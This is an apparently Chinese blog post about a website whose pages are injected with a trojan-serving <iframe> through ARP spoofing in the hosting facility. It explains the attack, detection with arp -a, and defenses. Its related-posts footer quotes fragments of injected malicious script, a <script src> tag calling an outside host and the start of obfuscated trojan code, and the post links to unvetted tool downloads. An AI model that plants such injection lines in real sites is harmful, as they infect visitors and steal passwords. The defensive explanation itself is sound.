网站源文件被注入了<iframe>代码—ARP欺骗的木马病毒攻击

最近我的网站突然出现访问的迟钝，并且打开之后杀毒软件立即提示含有木马病毒。

我就很纳闷，运行了4年的网站一直都好好的最近怎么出现病毒提示呢。职业习惯原因打开了网站的源代码查看，原来在网页源代码的头部被加入了<iframe>嵌套框架网页，该网页执行木马程序……

按照常理我心中一寒：估计是服务器被人攻陷了，所有文件代码被加了此行代码，于是FTP上去，下载文件下来查看却没有该代码。

于是询问服务器管理员含笑，他一听就说：“是中ARP欺骗的病毒攻击了”。

那么什么是“ARP欺骗”呢？

首先，ARP的意思是Address Resolution Protocol（地址解析协议），它是一个位于TCP/IP协议栈中的低层协议，负责将某个IP地址解析成对应的MAC地址。

从影响网络连接通畅的方式来看，ARP欺骗分为二种，一种是对路由器ARP表的欺骗；另一种是对内网PC的网关欺骗。

第一种ARP欺骗的原理是——截获网关数据。它通知路由器一系列错误的内网MAC地址，并按照一定的频率不断进行，使真实的地址信息无法通过更新保存在路由器中，结果路由器的所有数据只能发送给错误的MAC地址，造成正常PC无法收到信息。

第二种ARP欺骗的原理是——伪造网关。它的原理是建立假网关，让被它欺骗的PC向假网关发数据，而不是通过正常的路由器途径上网。在PC看来，就是上不了网了，“网络掉线了”。

ARP欺骗木马只需成功感染一台电脑，就可能导致整个局域网都无法上网，严重的甚至可能带来整个网络的瘫痪。

而本次我的网站服务器所在的托管机房同一局域网中的某台服务器即被感染了ARP欺骗木马，所以就影响了整个机房的其他服务器，于是服务器中成千上万的虚拟主机网站就全部遭殃了，木马种植者站点访问量也是猛增，这还是小事，该木马发作时除了会导致同一局域网内的其他用户上网出现时断时续的现象外，还会窃取用户密码。如盗取QQ密码、盗取各种网络游戏密码和账号去做金钱交易，盗窃网上银行账号来做非法交易活动等，这是木马的惯用伎俩，给用户造成了很大的不便和巨大的经济损失。

如何检查本机是否中了ARP欺骗木马病毒

“CTRL”+“ALT”+“DELETE”键打开“Windows任务管理器”窗口，查看有没有“MIR0.dat”的进程，如果有，表示中毒了，需要立即“结束该进程”。

如何检查局域网内感染ARP欺骗木马病毒的计算机

“开始”菜单“运行”“cmd”打开MSDOS窗口，输入“ipconfig”获得“Default Gateway”默认网关。

继续执行命令“arp -a”，查看默认网关IP对应的“Physical Address”值，在网络正常时这就是网关的正确物理地址，在网络受“ ARP 欺骗”木马影响而不正常时，它就是木马所在计算机的网卡物理地址。也可以扫描本子网内的全部IP地址，然后再查ARP表。如果有一个 IP 对应的物理地址与网关的相同，那么这个IP地址和物理地址就是中毒计算机的IP地址和网卡物理地址。

如何防范计算机遭受ARP欺骗

1、不要把你的网络安全信任关系建立在ip基础上或mac基础上，（rarp同样存在欺骗的问题），理想的关系应该建立在ip+mac基础上。
2、设置静态的mac-->ip对应表，不要让主机刷新你设定好的转换表。
3、除非很有必要，否则停止使用ARP，将ARP做为永久条目保存在对应表中。
4、使用ARP服务器。通过该服务器查找自己的ARP转换表来响应其他机器的ARP广播。确保这台ARP服务器不被黑。
5、使用"proxy"代理ip的传输。
6、使用硬件屏蔽主机。设置好你的路由，确保ip地址能到达合法的路径。（静态配置路由ARP条目），注意，使用交换集线器和网桥无法阻止ARP欺骗。
7、管理员定期用响应的ip包中获得一个rarp请求，然后检查ARP响应的真实性。
8、管理员定期轮询，检查主机上的ARP缓存。
9、使用防火墙连续监控网络。注意有使用SNMP的情况下，ARP的欺骗有可能导致陷阱包丢失。

推荐工具：欣向ARP工具，包括很全面的ARP防范的功能。（其中包括WinPcap_3_0.,请务必先安装此软件）下载地址： http://www.nuqx.com/downcenter.asp

ARP解决方法/工具+真假ARP防范区别方法+ARP终极解决方案
http://www.txwm.com/BBS384837.vhtml

ARP攻击防范与解决方案专题
http://www.luxinjie.com/s/arp/

赞 (0)

相关推荐

  • 网站源文件被注入了&lt;iframe&gt;代码—ARP欺骗的木马病毒攻击

    最近我的网站突然出现访问的迟钝,并且打开之后杀毒软件立即提示含有木马病毒. 我就很纳闷,运行了4年的网站一直都好好的最近怎么出现病毒提示呢.职业习惯原因打开了网站的源代码查看,原来在网页源代码的头部被加入了<iframe>嵌套框架网页,该网页执行木马程序-- 按照常理我心中一寒:估计是服务器被人攻陷了,所有文件代码被加了此行代码,于是FTP上去,下载文件下来查看却没有该代码. 于是询问服务器管理员含笑,他一听就说:"是中ARP欺骗的病毒攻击了". 那么什么是"AR

  • 网站被黑的假象--ARP欺骗之页面中加入一段js

    昨天晚上发现访问我的网站的时候网页代码html的前面多了一串js代码.刚开始以为网站被黑了,赶紧到服务器上查看所有文件是否带有这串js代码,搜索结果没有,而且服务器也没发现被入侵的痕迹. <script src=http://fuck.ns2go.com/dir/index_pic/1.js></script> 于是只能从这段代码入手,我下载这个js开发发现是下面一段代码: 复制代码 代码如下: window["\x64\x6f\x63\x75\x6d\x65\x6e\x

  • SQL注入原理与解决方法代码示例

    一.什么是sql注入? 1.什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击．当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击.如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入. 黑客通过SQL注入攻击

  • 用shell命令删除网站最新nb挂马的方法与代码

    复制代码 代码如下: # <script language="javascript" type="text/javascript"> # if(document.cookie.indexOf('helio')==-1){var expires=new Date();expires.setTime(expires.getTime()+1*60*60*1000);document.cookie='helio=Yes;path=/;expires='+expi

  • AngularJS 依赖注入详解及示例代码

    AngularJS 依赖注入详解及示例代码

    依赖注入是一个在组件中给出的替代了硬的组件内的编码它们的依赖关系的软件设计模式.这减轻一个组成部分,从定位的依赖,依赖配置.这有助于使组件可重用,维护和测试. AngularJS提供了一个至高无上的依赖注入机制.它提供了一个可注入彼此依赖下列核心组件. 值 工厂 服务 提供者 常值 值 值是简单的JavaScript对象,它是用来将值传递过程中的配置相位控制器. //define a module var mainApp = angular.module("mainApp", []);

  • 实用框架(iframe)操作代码

    常用代码: <iframe src="http://www.baidu.com" marginwidth="0" marginheight="0" border="0" scrolling="no" frameborder="0" width="350" height="270"></iframe> <iframe s

  • JS动态添加iframe的代码

    一般对于ie9以上的浏览器.chrome等浏览器都可以支持 var iframe = document.createElement('iframe'); iframe.src="http://www.jb51.net"; document.body.appendChild(iframe); 但考虑浏览器的兼容性问题可以使用下面的代码 try{ var iframe = document.createElement('<iframe name="ifr">

  • MVC4制作网站教程第二章 部分用户功能实现代码

    MVC4制作网站教程第二章 部分用户功能实现代码

    用户部分要实现的功能有: 序  一.用户  1.1用户注册  1.2用户登录 1.3修改密码  1.4修改资料 要实现这些目的首先新建用户(Model)模型 /// <summary> /// 用户模型 /// </summary> public class User { [Key] public int UserId { get; set; } /// <summary> /// 用户组Id /// </summary> [Display(Name=&qu

  • FormatRemoteUrl函数之asp实现格式化成当前网站完整的URL-将相对地址转换为绝对地址的代码

    '================================================ '函数名:FormatRemoteUrl '作  用:格式化成当前网站完整的URL-将相对地址转换为绝对地址 '参  数: url ----Url字符串 '参  数: CurrentUrl ----当然网站URL '返回值:格式化取后的Url '================================================     Public Function FormatRe

  • 用CSS构建iframe效果代码

    iframe应用很普遍,通常的需求有两种: 1,获取iframe效果,就是带一个滚动条,可以省不少版面. 2,要嵌一个页面,实现框架链接. 如果不方便使用iframe,可以有如下解决方案: 第一种需求如果我们使用css布局来实现,即可以少一个页面,也可以提高效率. 第二种需求可以采用xmlhttp远程获取. A. 直接模拟iframe 用层做容器 #content { overflow:auto; height:200px; width:600px; background:#f00;} 效果演示

随机推荐